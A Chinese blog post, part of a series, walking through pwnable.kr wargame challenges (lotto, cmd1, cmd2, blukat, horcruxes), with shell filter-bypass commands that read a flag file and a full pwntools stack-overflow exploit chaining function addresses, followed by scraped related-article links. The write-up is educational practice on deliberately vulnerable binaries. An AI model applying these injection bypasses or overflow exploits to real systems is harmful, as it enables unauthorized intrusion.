本文作者:萌新

前情回顾:

萌新带你开车上p站(一)

萌新带你开车上p站(二)

萌新带你开车上P站(三)

回顾一下前篇,我们开始新的内容吧

0x12


登录后看源码

通读程序,逻辑是这样子的:

输入6个字符,与程序由/dev/urandom随机产生的6个字符对比,通过上图第二个红框的检验,则match自加1,双重for循环结束后如果match=6则打印flag

这里的漏洞在于检验的双重for循环实现时出了问题。

该程序实现的逻辑实际上是对于每个lotto[i]会和输入的每个字符去比较,如果命中则加1

那么我们可以考虑输入的6个字符相同,如果有一个命中,则全部命中。

字符的取值范围知道是在ascii 1-45之间,又我们能输入的只有asci中的可见字符,那满足条件的只有33-45

多试几次即可。

0x13


cmd1

看看源码

在main中可以看到我们输入的参数可以通过调用system执行

但是在传给system执行前,输入的内容会被filter处理

而filter过滤了tmp,flag,sh这些关键字

而且还有一点需要注意的是,我们绕过filter之后,还得注意main中的putenv,它将PATH环境变量设置为了乱七八糟的东西

PATH决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当运行一个程序时,Linux在这些目录下进行搜寻编译链接

修改之后意味着我们要使用命令时需要使用绝对路径,比如要想读flag,正常情况下应该是cat flag,但是现在需要/bin/cat flag

综上,绕过

这里我们用到了通配符*,使用f*匹配flag文件,从而绕过

cmd2

看源码

可以看到比之cmd1,这里过滤了更多的东西

尤其是\

我们当然还可以使用f*来指代flag

但是\的过滤怎么绕过呢

题目给了提示

来看看system函数

可以看到system()实际上是通过execl实现的

查找sh的man

可以看到

使用-p时会可以自动找到path的默认值,而不受程序设置ENV的影响

所以可以考虑使用-p cat,这样就可以自动绕过/

cmd2@ubuntu:~$ ./cmd2 "command -p cat f*"

command -p cat f*

FuN_w1th_5h3ll_v4riabl3s_haha

0x14 blukat


看源码

从password文件读内容,与我们输入的字符相比,通过比较则打印flag

现在的关键是知道password的内容是什么,我们注意到下图的情况:

从上图可以看到我们这个用户所在的组对password是有读权限的,可是cat的时候却是:

emmm也就是说password本身的内容就是这个

于是执行二进制文件就得到flag了

0x15 horcruxes


 

没有源码,就给了二进制文件,看来得逆向了

执行后需要输入的地方有两处

下载到本地

可以看到是32位的

上ida

main函数

ropme

红色圈起来的就是我们之前试运行时输入的地方

最下面的else可以看到,当我们的输入和sum值相等时会打印flag

注意到上面有A,B,C,D,E,F,G函数

打开A函数看看

B的

别的都是一样的

可以看到会返回a,b等

这些参数的赋值操作在init_ABCDEFG

可以看到是/dev/urandom产生的随机数配合产生的,而sum的值是综合计算a,b,c等得到的

这里的漏洞在于main中的gets(),没有指定buffer,所以可以尝试溢出

我们希望直接通过溢出buffer来覆盖ropme()函数的return地址

由上图可知buffer起始地址为ebp-0x74,加上原函数ebp地址的长度4个字节,则buffer起始到ropme()的return一共需要0x74+4=120个字节

那么我们构造的思路就是依次打印A.B,,,,G函数返回的值,将其相加,得到sum的确定值,然后返回ropme,将结果作为输入,即可满足条件得到flag

要作为这一点,我们需要知道

1. padding大小,由前可知,120字节

2. 然后拼接A函数的起始地址,来跳转到A执行,然后拼接B的。。。。以此类推

3. 最后要跳转到ropme(),这里要注意,不能直接凭借ropme的地址,因为该地址如下图所示含有\x0a,会被截断,所以要通过拼接main中调用ropme()时的地址

接下来的任务就是找地址了

如图所示一个个找出来并不难,以A为例

以及main中调用ropme的

综上所述,写出exp:

from pwn import *

context.log_level='debug'

LOCAL = False

if __name__ == '__main__':

    if LOCAL:

        c = process('/home/horcruxes/horcruxes')

    else:

        c = remote('0', 9032)

    msg = c.recvuntil("Menu:")

    c.sendline('1')

    msg = c.recv(512)

    payload = 'A'*0x78

    payload += p32(0x809fe4b)  # address A()

    payload += p32(0x809fe6a)  # address B()

    payload += p32(0x809fe89)  # address C()

    payload += p32(0x809fea8)  # address D()

    payload += p32(0x809fec7)  # address E()

    payload += p32(0x809fee6)  # address F()

    payload += p32(0x809ff05)  # address G()

    payload += p32(0x809fffc)  # address main<call ropme>

    c.sendline(payload)

    sum = 0

    c.recvline()

    for i in range(7):

        s = c.recvline()

        n = int(s.strip('\n').split('+')[1][:-1])

        sum += n

    print "Result: " + str(sum)

    c.recvuntil("Menu:")

    c.sendline("1")

    c.recvuntil(" : ")

    c.sendline(str(sum))

    log.success("Flag: " + c.recvline())

未完待续!

萌新带你开车上p站(Ⅳ)的更多相关文章

  1. 萌新带你开车上p站(二)

    本文作者:萌新 前情提要:萌新带你开车上p站(一) 0x04flag  看题目描述似乎是一个和脱壳相关的逆向题目 按照给出的地址先下载过来 file看看 是个可执行文件 执行之 emm什么都看不出来, ...

  2. 萌新带你开车上p站(三)

    本文作者:萌新 前情回顾: 萌新带你开车上p站(一) 萌新带你开车上p站(二) 0x08 题目给的提示是和运算符优先级有关 登录后直接看源码 mistake@pwnable:~$ ls flag mi ...

  3. 萌新带你开车上p站(一)

    本文作者:萌新 0x01前言 这一系列文章为pwnable.krToddlr’s Bottle的全部题解,其中有三道题目相对而言稍难或者说比较经典,单独成篇,其他题目的题解放在一起发出来. 0x02f ...

  4. 萌新带你开车上p站(番外篇)

    本文由“合天智汇”公众号首发,作者:萌新 前言 这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析. 登录 看看源程序 程 ...

  5. 萌新带你开车上p站(终极番外)

    本文由“合天智汇”公众号首发,作者:萌新 0x01前言 这关其实和pwn关系不大,主要考察的都是linux下一些函数的操作,考察linux的基本功.涉及到的知识点包括一些经典的函数原型.IO重定向.文 ...

  6. 萌新学习Python爬取B站弹幕+R语言分词demo说明

    代码地址如下:http://www.demodashi.com/demo/11578.html 一.写在前面 之前在简书首页看到了Python爬虫的介绍,于是就想着爬取B站弹幕并绘制词云,因此有了这样 ...

  7. 萌新笔记——C++里创建 Trie字典树(中文词典)(二)(插入、查找、导入、导出)

    萌新做词典第二篇,做得不好,还请指正,谢谢大佬! 做好了插入与遍历功能之后,我发现最基本的查找功能没有实现,同时还希望能够把内存的数据存入文件保存下来,并可以从文件中导入词典.此外,数据的路径是存在配 ...

  8. 留学萌新Essay写作须知

    Essay是留学生们接触比较多的一项留学生作业,但尽管如此,依旧有部分同学对于essay写作是没有足够的把握的.随着开学季的到来,很多萌新初次接触Essay写作,难免会有很多不懂得地方.所以今天小编就 ...

  9. 从Webpack源码探究打包流程,萌新也能看懂~

    简介 上一篇讲述了如何理解tapable这个钩子机制,因为这个是webpack程序的灵魂.虽然钩子机制很灵活,而然却变成了我们读懂webpack道路上的阻碍.每当webpack运行起来的时候,我的心态 ...

随机推荐

  1. Linux常用命令 - wget命令详解(重点)

    21篇测试必备的Linux常用命令,每天敲一篇,每次敲三遍,每月一循环,全都可记住!! https://www.cnblogs.com/poloyy/category/1672457.html 下载i ...

  2. Spring 全局异常拦截根据业务返回不同格式数据 自定义异常

    1.全局异常拦截:针对所有异常进行拦截 可根据请求自定义返回格式 2.自定义异常类 处理不同业务的异常 接下来开始入手代码: 1).自定义异常类 @ControllerAdvice//添加注解 记得开 ...

  3. .NET的资源并不限于.resx文件(二)

    ResourceManager在默认的情况下只能提供对内嵌于程序集的.resources资源文件的存取. 为了实现对独立二进制.resources资源文件的支持,我们自定义了BinaryResoruc ...

  4. hdu2544SPFA板题

    SPFA顾名思义就是更快的最短路算法,是Bellman ford算法的优化,SPFA的平均复杂度大约是O(K*|E|),在一般情况下K大约是小于等于2的数,但是总有人对你心怀不轨,构造一组SPFA最坏 ...

  5. windows10 64位 安装mysql服务端 并使用navicat客户端链接 掉的一堆坑

    1.目的 安装mysql服务端 并使用navicat客户端链接 2.过程 1)下载mysql服务端 下载过程(参考https://blog.csdn.net/youxianzide/article/d ...

  6. WeChat 搭建过程

    [被动回复消息] 1.创建项目(基于MyEclipse + Tomcat 7 编写):wechat 2.导入jar包(用于解析xml):dom4j-1.6.1.jar,xstream-1.3.jar ...

  7. java新时间类

    时间 java8以前使用的时间很多方法都已经废弃了,而且不是线程安全的,java8提供了一系列的时间类,这些时间类都是线程安全的 LocalDate.LocalTime.LocalDateTime 这 ...

  8. 数据分析_numpy_基础2

    数据分析_numpy_基础2 sqrt 开方 arr = np.arange(10) arr # array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) np.sqrt(arr) ...

  9. 使用golang理解mysql的两阶段提交

    使用golang理解mysql的两阶段提交 文章源于一个问题:如果我们现在有两个mysql实例,在我们要尽量简单地完成分布式事务,怎么处理? 场景重现 比如我们现在有两个数据库,mysql3306和m ...

  10. 3.Metasploit攻击流程及命令介绍

    Metasploit 进阶第一讲    攻击流程及命令介绍   01.渗透测试过程环节(PTES)   1.前期交互阶段:与客户组织进行交互讨论,确定范围,目标等 2.情报搜集阶段:获取更多目标组织信 ...